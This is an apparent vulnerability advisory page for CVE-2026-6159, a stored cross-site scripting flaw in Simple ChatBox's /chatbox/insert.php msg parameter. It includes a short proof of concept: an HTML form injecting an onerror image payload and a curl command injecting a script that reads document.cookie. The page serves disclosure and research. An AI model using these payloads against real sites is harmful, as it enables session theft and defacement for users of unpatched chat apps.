CVE-2026-6159

Description

A vulnerability has been found in code-projects Simple ChatBox up to 1.0. Affected by this vulnerability is an unknown functionality of the file /chatbox/insert.php of the component Endpoint. Such manipulation of the argument msg leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple ChatBox <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6159 Stored XSS in Simple ChatBox
Target: /chatbox/insert.php
Parameter: msg
-->

<html>
<body>
<form action="http://target-ip/chatbox/insert.php" method="POST">
  <label>Message:</label><br>
  <!-- Injecting JavaScript payload -->
  <input type="text" name="msg" value="<img src=x onerror=alert('CVE-2026-6159')>">
  <input type="submit" value="Send Message">
</form>

<!--
Alternatively, using curl command:
curl -X POST http://target-ip/chatbox/insert.php -d "msg=<script>alert(document.cookie)</script>"
-->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6159
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6159
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6159/
[4] VulDB https://vuldb.com/cve/CVE-2026-6159
[5] https://code-projects.org/
[6] https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/Stored%20Cross-Site%20Scripting%20(XSS)%20in%20Simple%20Chatbox%20PHP%20msg%20Parameter.md
[7] https://vuldb.com/submit/796666
[8] https://vuldb.com/vuln/357039
[9] https://vuldb.com/vuln/357039/cti

Raw JSON Data

JSON

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